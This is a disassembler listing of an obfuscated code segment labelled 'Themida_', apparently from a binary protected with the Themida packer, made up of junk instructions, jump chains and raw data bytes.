loc_54D801:				; CODE XREF: Themida_:loc_54D208j
					; Themida_:0054DCBFj ...
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_555762
; ---------------------------------------------------------------------------
		dd 5A6E840Fh, 0F3860000h, 0F386D6F6h, 4DAC380h,	53D828C0h
		dd 0FFD520E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D835:				; CODE XREF: Themida_:0054A7CAj
		mov	[esp], bx
		jmp	loc_54F99B
; ---------------------------------------------------------------------------

loc_54D83E:				; CODE XREF: Themida_:00551941j
		pop	ebp
		jmp	loc_54FF43
; ---------------------------------------------------------------------------
		dd 24048B66h, 0E8A68h, 241C8900h, 0C3815B54h, 4, 4D6E9h
		dd 0FA5A3500h, 0C689108Ah, 0FFFF98E9h, 11C781FFh, 0E977B270h
		dd 682Ah
; ---------------------------------------------------------------------------

loc_54D874:				; CODE XREF: Themida_:0054BE56j
		inc	ebx
		add	ebx, 9B144F6h
		jbe	loc_552741
		add	ebx, 1B03264Dh
		jbe	loc_553C43
		sub	ebx, 394407B8h
		jl	loc_54A357
		xor	ebx, 547CBE4Bh
		mov	edx, ebx
		pop	ebx
		push	ebx
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		push	esi
		push	eax
		mov	eax, 4B7C2885h
		jmp	loc_55233C
; ---------------------------------------------------------------------------

loc_54D8B8:				; CODE XREF: Themida_:00552876j
		pop	ebp
		sub	eax, 58B274F3h
		neg	eax
		and	eax, 71685216h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 361F1345h
		and	edi, 519C3A33h
		shr	edi, 1
		add	edi, 3D96025Ah
		jmp	loc_54A313
; ---------------------------------------------------------------------------
		dw 0C231h
		dd 36F5E9h
		db 0
; ---------------------------------------------------------------------------

loc_54D8ED:				; CODE XREF: Themida_:0054A352j
		mov	cl, 6Fh
		mov	al, cl
		pop	ecx
		push	edx
		mov	dl, 9Fh
		dec	dl
		neg	dl
		push	ebx
		mov	bh, 63h
		shr	bh, 8
		jmp	loc_550F5B
; ---------------------------------------------------------------------------

loc_54D904:				; CODE XREF: Themida_:0054ED78j
		sub	eax, 266D426Fh
		add	eax, 77C0738Dh
		add	eax, ebx
		push	edi
		mov	edi, 77C0738Dh
		sub	eax, edi
		pop	edi
		add	eax, 266D426Fh
		pop	ebx
		add	esi, eax
		jmp	loc_55139C
; ---------------------------------------------------------------------------

loc_54D926:				; CODE XREF: Themida_:0055203Bj
		and	ecx, ebp
		push	dword ptr [esp]
		jmp	loc_54C673
; ---------------------------------------------------------------------------

loc_54D930:				; CODE XREF: Themida_:0054C699j
		jz	loc_549042
		push	edi
		mov	edi, 4F46333Bh
		add	eax, edi
		pop	edi
		shr	eax, 2
		xor	eax, 1456BFA3h
		mov	edx, eax
		pop	eax
		add	edx, ecx
		push	ecx
		mov	ecx, 0
		add	ecx, edx
		mov	[ecx], al
		pop	ecx
		pop	edx
		pop	ecx
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54D95E:				; CODE XREF: Themida_:00553ED8j
		push	dx
		jmp	loc_54B586
; ---------------------------------------------------------------------------

loc_54D965:				; CODE XREF: Themida_:005499E2j
		pop	esi
		pop	ebp
		push	7428h
		jmp	loc_54EE74
; ---------------------------------------------------------------------------

loc_54D971:				; CODE XREF: Themida_:00555B04j
		push	dword ptr [esp]
		jmp	loc_549AC4
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 0A8h
		dd 81621B1Bh, 141BC6F7h, 90830F04h, 0C1FFFFCDh,	8B0F02EFh
		dd 0FFFFC522h, 0FB8AD78Ah, 97707905h, 73E95639h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D9A3:				; CODE XREF: Themida_:005553ACj
		sub	ebp, 5C4A3341h
		add	ebp, 38C43CACh
		mov	eax, ebp
		pop	ebp
		sub	ebx, 4EC03EB1h
		jmp	loc_548C14
; ---------------------------------------------------------------------------

loc_54D9BD:				; CODE XREF: Themida_:0055538Cj
		jmp	loc_548929
; ---------------------------------------------------------------------------
		dw 8A0Fh
		dd 0FFFFDCE2h, 0D0F6C586h, 0EDD0C586h, 0E9A5CD80h, 48Dh
		dd 4BBh, 0D726E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D9E2:				; CODE XREF: Themida_:0054C2E3j
		pop	edx
		mov	esi, [esp]
		jmp	loc_54DB5E
; ---------------------------------------------------------------------------

loc_54D9EB:				; CODE XREF: Themida_:00553782j
		mov	ch, 83h
		sub	al, ch
		jmp	loc_5533BC
; ---------------------------------------------------------------------------

loc_54D9F4:				; CODE XREF: Themida_:00551441j
		add	ebx, 5E06F3BEh
		push	ebx
		add	dword ptr [esp], 288E09DAh
		pop	ebp
		push	esi
		mov	esi, 35443127h
		xor	esi, 20F1666Ah
		shl	esi, 6
		sub	esi, 39C53165h
		add	esi, 0F4FD67FFh
		jmp	loc_54CB3C
; ---------------------------------------------------------------------------

loc_54DA23:				; CODE XREF: Themida_:0054C46Dj
		pop	ecx
		sub	al, dl
		push	cx
		mov	ch, 1Ah
		add	al, ch
		pop	cx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	dh, 4
		jmp	loc_55457F
; ---------------------------------------------------------------------------

loc_54DA3F:				; CODE XREF: Themida_:0054C43Aj
					; Themida_:0055172Dj
		pop	esi
		push	dword ptr [edi+eax*4]
		push	eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 34A255AAh
		sub	edx, 34A255A6h
		add	eax, edx
		pop	edx
		sub	eax, 4
		jmp	loc_5497AD
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 0BCAA8DAAh, 0A9E9FB89h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DA6F:				; CODE XREF: Themida_:0055061Aj
		pop	ebx
		jmp	loc_54CCD1
; ---------------------------------------------------------------------------

loc_54DA75:				; CODE XREF: Themida_:00551473j
		pop	edx
		jmp	loc_5549A4
; ---------------------------------------------------------------------------
		db 83h
		dd 5A042404h, 2D8E9h
		db 0
; ---------------------------------------------------------------------------

loc_54DA85:				; CODE XREF: Themida_:0054FB08j
					; Themida_:005540D6j
		push	6040224Ch
		pop	ebx
		xor	ebx, 21F257E9h
		sub	ebx, 41B275A1h
		add	edx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 4
		jmp	loc_5499FB
; ---------------------------------------------------------------------------

loc_54DAA5:				; CODE XREF: Themida_:0054EB73j
		shl	edx, 8
		neg	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5509AB
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		db '$h{',9,0
		align 2
		dw 3489h
		dd 34FF5424h, 70A9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54DACA:				; CODE XREF: Themida_:005497FCj
		push	esi
		mov	esi, ebx
		jmp	loc_554205
; ---------------------------------------------------------------------------

loc_54DAD2:				; CODE XREF: Themida_:005496A5j
		add	ebx, 0E9DB05C2h
		push	eax
		mov	eax, 3FED6D78h
		add	eax, 13515103h
		add	eax, 6A182A05h
		sub	eax, 16355CB3h
		inc	eax
		sub	eax, 5B655FC6h
		add	ebp, eax
		pop	eax
		jmp	loc_54DC70
; ---------------------------------------------------------------------------
		db 81h
		dd 0D853B5C3h, 8BDE317Bh, 91E9241Ch, 50FFFFC3h,	42474FFh
		dd 27EFE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54DB16:				; CODE XREF: Themida_:00550FC3j
		push	6F1E5AE8h
		pop	ebp
		shr	ebp, 5
		jmp	loc_554B69
; ---------------------------------------------------------------------------

loc_54DB24:				; CODE XREF: Themida_:005491D5j
					; Themida_:005547BEj
		shr	eax, 6
		jmp	loc_550DDF
; ---------------------------------------------------------------------------
		dd 0F48861B6h, 66E3285Ah, 0E924048Bh, 585Dh
; ---------------------------------------------------------------------------

loc_54DB3C:				; CODE XREF: Themida_:0054C4B3j
		add	ebp, 647F561Dh
		jmp	loc_54B783
; ---------------------------------------------------------------------------
		db 59h
		dd 35E7C181h, 0CA89CE50h, 81DAF759h, 37EC96EAh,	0EF1AE9A4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DB5E:				; CODE XREF: Themida_:0054D9E6j
		add	esp, 4
		jmp	loc_550FBC
; ---------------------------------------------------------------------------

loc_54DB69:				; CODE XREF: Themida_:00554E37j
		sub	eax, 61A876EEh
		pop	ebx
		jmp	loc_55221B
; ---------------------------------------------------------------------------

loc_54DB74:				; CODE XREF: Themida_:0054B079j
		xor	eax, 235044AEh
		mov	edi, eax
		pop	eax
		mov	ebx, edi
		pop	edi
		sub	ebp, 774641FCh
		add	ebp, ebx
		add	ebp, 774641FCh
		mov	ebx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_548EB2
; ---------------------------------------------------------------------------
		dd 7EE9028Fh
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DBAB:				; CODE XREF: Themida_:0054C867j
		mov	esp, [esp]
		mov	[esp], edx
		push	1
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_54C5F0
; ---------------------------------------------------------------------------

loc_54DBD3:				; CODE XREF: Themida_:00549453j
		mov	[esp], esi
		push	170E4767h
		jmp	loc_54992D
; ---------------------------------------------------------------------------
		dd 3E47E281h, 0C2810555h, 0FFFFC404h, 0FFBF09E9h, 4EB81FFh
		dd 87000000h, 0E95C241Ch, 0FFFFAD2Fh, 4EC81h, 14890000h
		dd 287FB624h, 0F0E95AF7h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DC13:				; CODE XREF: Themida_:0054AB24j
		and	ebx, 3D801D07h
		jnz	loc_54EFAA
		xor	ebx, 27CD5618h
		jmp	loc_54F3ED
; ---------------------------------------------------------------------------
		dw 0D601h
; ---------------------------------------------------------------------------

loc_54DC2C:				; CODE XREF: Themida_:00553E70j
		sub	bx, ax
		pop	eax
		add	bx, ax
		add	bx, 4F0h
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_54B7BF
; ---------------------------------------------------------------------------

loc_54DC46:				; CODE XREF: Themida_:0054A803j
		sub	edi, ecx
		pop	ecx
		add	edi, 23D9156Ah
		jmp	loc_550ADD
; ---------------------------------------------------------------------------

loc_54DC54:				; CODE XREF: Themida_:0054B636j
		push	ecx
		mov	ecx, 31275738h
		xor	[esp+4], ecx
		pop	ecx
		pop	dword ptr [edi+24h]
		jmp	loc_55297B
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0FFFFEBBBh
; ---------------------------------------------------------------------------

loc_54DC70:				; CODE XREF: Themida_:0054DAF6j
		sub	ebp, ebx
		sub	ebp, 4BBC2C08h
		pop	ebx
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_553737
; ---------------------------------------------------------------------------

loc_54DC8A:				; CODE XREF: Themida_:0054D185j
		push	esi
		mov	esi, 17B960F6h
		add	esi, 0BEFAC8Dh
		sub	ebx, esi
		pop	esi
		jmp	loc_54E84D
; ---------------------------------------------------------------------------

loc_54DC9E:				; CODE XREF: Themida_:00552D7Cj
		pop	edi
		add	ebp, 0E371EE9h
		sub	ebp, eax
		sub	ebp, 0E371EE9h
		mov	eax, [esp]
		add	esp, 4
		mov	eax, ebp
		pop	ebp
		sub	[edi+24h], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54D801
; ---------------------------------------------------------------------------

loc_54DCC4:				; CODE XREF: Themida_:00549CB3j
		pop	esp
		jmp	loc_55197E
; ---------------------------------------------------------------------------
		dw 2E68h
		dd 89000035h, 44682404h, 89000029h, 4812424h, 424h, 0E647E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DCE6:				; CODE XREF: Themida_:0054CA4Ej
		mov	edi, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp

loc_54DCF3:				; CODE XREF: Themida_:0054EFCEj
					; Themida_:0054F36Cj
		push	edi
		mov	edi, ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5499E7
; ---------------------------------------------------------------------------

loc_54DD0A:				; CODE XREF: Themida_:0054BD77j
		pop	edx
		shr	edi, 8
		push	ecx
		push	esi
		jmp	loc_5558E4
; ---------------------------------------------------------------------------

loc_54DD15:				; CODE XREF: Themida_:0055043Bj
		sub	ebp, 7F8F6FFBh
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		push	small 3C46h
		jmp	loc_54DFBC
; ---------------------------------------------------------------------------
		dd offset dword_545CA4+1C4h
		align 4
		dd 0E9240C89h, 0FFFFE3FCh
; ---------------------------------------------------------------------------

loc_54DD40:				; CODE XREF: Themida_:005530CDj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		jmp	loc_5499C7
; ---------------------------------------------------------------------------

loc_54DD4D:				; CODE XREF: Themida_:00552A65j
		mov	ebx, [esp]
		jmp	loc_54E461
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 1E0DE9h, 4C28100h, 81000000h, 4C2h, 6588E900h, 3C8B0000h
		dd 4C48124h, 83000000h,	48904ECh, 260DB824h, 64E9463Ch
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DD87:				; CODE XREF: Themida_:0054CD2Ej
		add	edx, 0FCBEF7B2h
		mov	ebx, edx
		pop	edx
		jmp	loc_54A7E5
; ---------------------------------------------------------------------------

loc_54DD95:				; CODE XREF: Themida_:0054B7D7j
		mov	edx, 2
		add	esi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	5FC5h
		mov	[esp], esi
		jmp	loc_554689
; ---------------------------------------------------------------------------
		db 81h
		dd 279F1EBh, 0D1E38135h, 815DAB3Fh, 0AB1A84F3h,	5BD9895Ch
		dd 0FFD341E9h, 40C781FFh, 11C6159h, 40EF81EFh, 811C6159h
		dd 5F17C2C7h, 0B9515D45h, 4D67D26h, 8103E9C1h, 0F2650FF1h
		dd 0ECC18124h, 8137B726h, 0CA1F6FC9h, 81D1F731h, 0DFE004C1h
		dd 0FA5FE97Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DE0A:				; CODE XREF: Themida_:0054EF8Dj
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		jmp	loc_555FA4
; ---------------------------------------------------------------------------
		db 0BEh
		dd 7C8B7369h, 0F75EF129h, 0C18141D9h, 0D204BC4Ch, 0C8BCB01h
		dd 4C48124h, 55000000h,	9D1383BDh, 0BFC7E974h, 8B66FFFFh
		dd 68512404h, 63C4h, 4767E9h, 0DABF5700h, 31259663h, 81415FF9h
		dd 2028ADC1h, 5E1C17Bh,	3C3FE9h, 2EDC000h, 1A55E9h
		db 0
; ---------------------------------------------------------------------------

loc_54DE6D:				; CODE XREF: Themida_:00551274j
		inc	edx
		jz	loc_55061F
		jmp	loc_54CA21
; ---------------------------------------------------------------------------

loc_54DE79:				; CODE XREF: Themida_:0054F3DEj
		inc	ebp
		jmp	loc_551F2E
; ---------------------------------------------------------------------------

loc_54DE7F:				; CODE XREF: Themida_:0054E42Ej
					; Themida_:00554373j
		sub	ebx, edi
		pop	edi
		sub	ebx, 0DDFA00B6h
		jmp	loc_552007
; ---------------------------------------------------------------------------

loc_54DE8D:				; CODE XREF: Themida_:00554BDAj
		push	3BB9h
		mov	[esp], edx
		mov	edx, 11A60BC5h
		shl	edx, 6
		jmp	loc_548A87
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815A24h, 4, 12C6E952h, 0E9510000h, 4D5Fh
; ---------------------------------------------------------------------------

loc_54DEB8:				; CODE XREF: Themida_:0054ACC3j
		add	esp, 4
		push	eax
		push	ecx
		jmp	loc_54D37E
; ---------------------------------------------------------------------------

loc_54DEC5:				; CODE XREF: Themida_:00550288j
		push	ebx
		mov	bh, 22h
		jmp	loc_553507
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0BCh
		dd 1AA9D76h, 0DCC3E9D3h, 34FFFFFFh, 0EC815824h,	4, 793E9h
		db 0
; ---------------------------------------------------------------------------

loc_54DEE9:				; CODE XREF: Themida_:00554138j
		pop	esi
		jmp	loc_5524A6
; ---------------------------------------------------------------------------

loc_54DEEF:				; CODE XREF: Themida_:0054B73Cj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2
		add	edi, 574D70EAh
		sub	edi, ebp
		jmp	loc_54B605
; ---------------------------------------------------------------------------
		dd 4C1815Ah, 33000000h,	0C31240Ch, 240C3324h, 6824248Bh
		dd 5C73h, 68240489h, 43D0h, 0E9241C89h,	0FFFFF438h, 5C243487h
		dd 24BEE956h, 0C8010000h, 5CD3E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54DF52:				; CODE XREF: Themida_:00548D6Aj
		add	esp, 4
		sub	ebx, 6848157Ah
		add	ebx, eax
		push	ecx
		mov	ecx, 6848157Ah
		add	ebx, ecx
		pop	ecx
		add	ebx, 7485044Fh
		jmp	loc_54B0F6
; ---------------------------------------------------------------------------

loc_54DF71:				; CODE XREF: Themida_:005557F8j
		xchg	esi, [esp]
		pop	esp
		sub	bx, 1053h
		movzx	eax, ax
		sub	esp, 4
		mov	[esp], edi
		push	7DBDh
		mov	[esp], esp
		jmp	loc_550850
; ---------------------------------------------------------------------------
		dd 4E7FE281h, 0D2E920E0h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DF9B:				; CODE XREF: Themida_:0054AEC4j
		xor	al, bh
		jmp	loc_553CA5
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFAFC9h, 8B2434FFh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		jmp	loc_54926A
; ---------------------------------------------------------------------------

loc_54DFBC:				; CODE XREF: Themida_:0054DD2Ej
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 535D0000h, 2B5FBCBBh, 92E94B2Fh
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DFE3:				; CODE XREF: Themida_:loc_552E34j
		mov	esi, esp
		jmp	loc_555527
; ---------------------------------------------------------------------------

loc_54DFEA:				; CODE XREF: Themida_:0054C786j
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_553E0F
; ---------------------------------------------------------------------------
aMhz1		db '╛hZ1',0
		align 4
		dd 51241C89h, 55F4E9h
		db 0
; ---------------------------------------------------------------------------

loc_54E00D:				; CODE XREF: Themida_:005511BBj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5545CC
; ---------------------------------------------------------------------------

loc_54E018:				; CODE XREF: Themida_:00552485j
		pop	ecx
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_55420D
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	18C8h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_551A5A
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0DCE90000h, 66000009h, 2404BB0Fh, 0A8D7E99Ch
		dd 0ED81FFFFh, 6C697FFFh, 0B951C501h, 6C697FFFh, 8B59CD01h
		dd 0C4812404h, 4, 0FFE67DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E071:				; CODE XREF: Themida_:0054EE05j
		pop	esi
		shl	esi, 1
		jp	loc_553C2D
		neg	esi
		jno	loc_5521F1
		add	esi, 0F4CE234Ah
		mov	edx, esi
		jmp	loc_554BED
; ---------------------------------------------------------------------------
		db 54h
		dd 83243C8Bh, 0EC8104C4h, 4, 68242C89h,	116F2F20h, 14F7555Dh
		dd 0E5D15D24h, 0D7888A0Fh, 0C581FFFFh, 22DE5E42h, 34FFEB89h
		db 24h,	52h
; ---------------------------------------------------------------------------

loc_54E0BE:				; CODE XREF: Themida_:00553CA7j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_550EDE
; ---------------------------------------------------------------------------
		dd 3AE2E281h, 0F2814C30h, 52882E66h, 148BD521h,	4C48124h
		dd 51000000h, 4E25E9h, 0C8B6600h, 5F51E924h, 0EC830000h
		dd 24048904h, 4B8h, 58C20100h, 4EA81h, 0DDE90000h, 1FFFFABh
		dd 0D0EB81EBh, 0FF696564h, 835D2434h, 0C32904C4h, 7E91EB81h
		dd 72E90B8Ah
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E127:				; CODE XREF: Themida_:005540C8j
		add	ebx, ecx
		jmp	loc_55329B
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 0FC1FE924h, 34FFFFFFh, 5728E924h, 0C7810000h, 0F314C42Fh
		dd 0E58DE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E14A:				; CODE XREF: Themida_:00551C9Cj
		pop	ebx
		add	eax, edx
		pop	edx
		shr	eax, 2
		sub	eax, 1D9ADECFh
		add	edi, eax
		pop	eax
		xor	edi, [esp]
		jmp	loc_554C38
; ---------------------------------------------------------------------------
		db 5, 0A9h, 5Dh
		dd 0E95F5B03h, 2B18h, 9D1C77FFh, 14D25966h, 56E99C24h
		dd 48000043h, 0F6DB8F0Fh, 5A35FFFFh, 89108AFAh,	5ED88AC6h
		dd 26E9E901h, 0B7000031h, 0E9DFF6FEh, 5DF0h
; ---------------------------------------------------------------------------

loc_54E19C:				; CODE XREF: Themida_:0054930Ej
		add	ecx, 4
		jmp	loc_5555D9
; ---------------------------------------------------------------------------

loc_54E1A7:				; CODE XREF: Themida_:00549CD2j
		sub	bl, 6Bh
		push	ecx
		mov	ch, bl
		mov	dl, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_554854
; ---------------------------------------------------------------------------

loc_54E1BD:				; CODE XREF: Themida_:0054B26Cj
		pop	ebx
		pop	eax
		xor	dh, ch
		pop	ecx
		sub	al, dh
		pop	edx
		sub	bl, 0DBh
		push	ecx
		mov	ch, 14h
		sub	bl, ch
		pop	ecx
		push	ax
		mov	al, 0FAh
		add	bl, al
		pop	ax
		sub	bl, al
		jmp	loc_5517D5
; ---------------------------------------------------------------------------

loc_54E1DD:				; CODE XREF: Themida_:0054A75Ej
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	edx, eax
		sub	edx, 527759FCh
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54E1FD:				; CODE XREF: Themida_:005507A1j
		pop	esp
		mov	[esp], ecx
		mov	ecx, 0
		add	ecx, 39FF4D30h
		add	ecx, 5D9F4615h
		add	ecx, edx
		push	edi
		jmp	loc_54E61A
; ---------------------------------------------------------------------------

loc_54E21A:				; CODE XREF: Themida_:00549814j
		xor	ebx, 68305830h
		jbe	loc_5557D5
		shr	ebx, 5
		js	loc_54EE6C
		jmp	loc_550C31
; ---------------------------------------------------------------------------
		dd 240C8B66h, 6DB36852h, 24890000h, 24048124h, 4, 0E924148Bh
		dd 3DF0h
; ---------------------------------------------------------------------------

loc_54E250:				; CODE XREF: Themida_:00555F1Bj
		sub	edi, 4C253B44h
		add	edi, 72123FA0h
		jmp	loc_553009
; ---------------------------------------------------------------------------

loc_54E261:				; CODE XREF: Themida_:00551E39j
		sub	ebp, ebx
		sub	ebp, 6CF24081h
		pop	ebx
		push	ebp
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	edi, ecx
		mov	ecx, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_555EAA
; ---------------------------------------------------------------------------
		db 68h
		dd 27541BC7h, 0FFB9A9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E28D:				; CODE XREF: Themida_:loc_553D3Ej
		add	ch, 59h
		add	dl, ch
		pop	ecx
		push	ecx
		mov	ch, 8
		xor	ch, 12h
		shl	ch, 6
		dec	ch
		xor	ch, 93h
		push	7B4Eh
		mov	[esp], eax
		mov	al, 0D6h
		not	al
		xor	al, 73h
		add	ch, al
		pop	eax
		jmp	loc_54D77F
; ---------------------------------------------------------------------------
		db 0ADh
		dd 8904EC83h, 68512404h, 494C0C0Bh, 0E858E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E2CA:				; CODE XREF: Themida_:00552CCAj
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_54B5AE
; ---------------------------------------------------------------------------
		db 59h
		dd 1CFCC181h, 0D10177CAh, 1CFCE981h, 0C15A77CAh, 0D1F703E1h
		dd 2FC2E181h, 0E98160D6h, 5300B12h, 8101C183h, 2707BCF1h
		dd 59CA011Eh, 2F62F281h, 0EA816752h, 3C232815h,	148BD501h
		dd 4C48324h, 5C242C87h,	2896664h, 48EDE9h
		db 0
; ---------------------------------------------------------------------------

loc_54E325:				; CODE XREF: Themida_:00551BD4j
		pop	esp
		push	4760h
		jmp	loc_551AC5
; ---------------------------------------------------------------------------

loc_54E330:				; CODE XREF: Themida_:005489B2j
		sub	edi, ecx
		sub	edi, 4354084Eh
		add	edi, 4503AE3h
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		push	ebx
		push	edx
		push	662F6111h
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4E856A8Fh
		sub	edx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 0D1B7AA4Ch
		sub	edx, ebp
		pop	ebp
		mov	ebx, edx
		pop	edx
		jmp	loc_54CA0C
; ---------------------------------------------------------------------------

loc_54E36E:				; CODE XREF: Themida_:00551430j
		mov	ebx, esp
		jmp	loc_5513E7
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 5D2EE9h
		db 0
; ---------------------------------------------------------------------------

loc_54E37D:				; CODE XREF: Themida_:00554F07j
		inc	ebx
		push	eax
		mov	eax, 42736783h
		add	ebx, eax
		pop	eax
		add	esi, ebx
		jmp	loc_54FA44
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 54073390h, 38F3E9h
		db 0
; ---------------------------------------------------------------------------

loc_54E399:				; CODE XREF: Themida_:0054997Bj
		jmp	loc_548929
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 83000000h,	0C8904ECh, 560D6824h, 14890000h
		dd 5FC4BA24h, 4FB94CF0h, 810D81ADh, 1C02B8E9h, 55D1010Eh
		dd 1C02B8BDh, 5DE9010Eh, 8124148Bh, 4C4h, 0D2EFE900h, 8B66FFFFh
		dd 0DE92404h, 66FFFFCCh, 9C240CD3h, 0FFA538E9h,	4C281FFh
		dd 53000000h, 7252BF57h, 0DFF74355h, 0FFE89BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E405:				; CODE XREF: Themida_:00552562j
		mov	eax, edi
		pop	edi
		or	eax, 52E35202h
		or	eax, 1F733CF5h
		and	eax, 1AC121B8h
		push	ebx
		mov	ebx, 130B14F4h
		xor	eax, ebx
		pop	ebx
		jmp	loc_551B46
; ---------------------------------------------------------------------------

loc_54E425:				; CODE XREF: Themida_:0054AB7Dj
		sub	ebx, ecx
		pop	ecx
		push	edi
		mov	edi, 695339D4h
		jmp	loc_54DE7F
; ---------------------------------------------------------------------------
		db 5Bh
		dd 81E38953h, 4C3h, 4C38100h, 87000000h, 665C241Ch, 0E94CB151h
		dd 0EBh, 8904EC83h, 92E9241Ch
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E45B:				; CODE XREF: Themida_:0054AAB6j
					; Themida_:00553940j
		pop	ecx
		jmp	loc_548E2F
; ---------------------------------------------------------------------------

loc_54E461:				; CODE XREF: Themida_:0054DD50j
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		shr	eax, 8
		jmp	loc_554341
; ---------------------------------------------------------------------------

loc_54E476:				; CODE XREF: Themida_:0055411Aj
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		bswap	eax
		push	44DEh
		mov	[esp], eax
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54E48E:				; CODE XREF: Themida_:00553496j
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		sub	ebp, esi
		jmp	loc_54D418
; ---------------------------------------------------------------------------

loc_54E4A7:				; CODE XREF: Themida_:00549710j
		sub	edx, esi
		mov	esi, [esp]
		jmp	loc_55126B
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 4
aZHu8		db '┤<$\hН8',0
		dd 24148900h, 0C281E289h, 4, 425FE9h, 24048100h, 4, 81240C8Bh
		dd 4C4h, 4BB5300h, 0E9000000h, 2Fh
; ---------------------------------------------------------------------------

loc_54E4E8:				; CODE XREF: Themida_:00552ED2j
		push	ecx
		push	small 4681h
		jmp	loc_550955
; ---------------------------------------------------------------------------

loc_54E4F2:				; CODE XREF: Themida_:0054CFD7j
		add	bl, 6Fh
		add	bl, al
		sub	bl, 6Fh
		push	ecx
		mov	cl, 0BFh
		jmp	loc_54D4EA
; ---------------------------------------------------------------------------

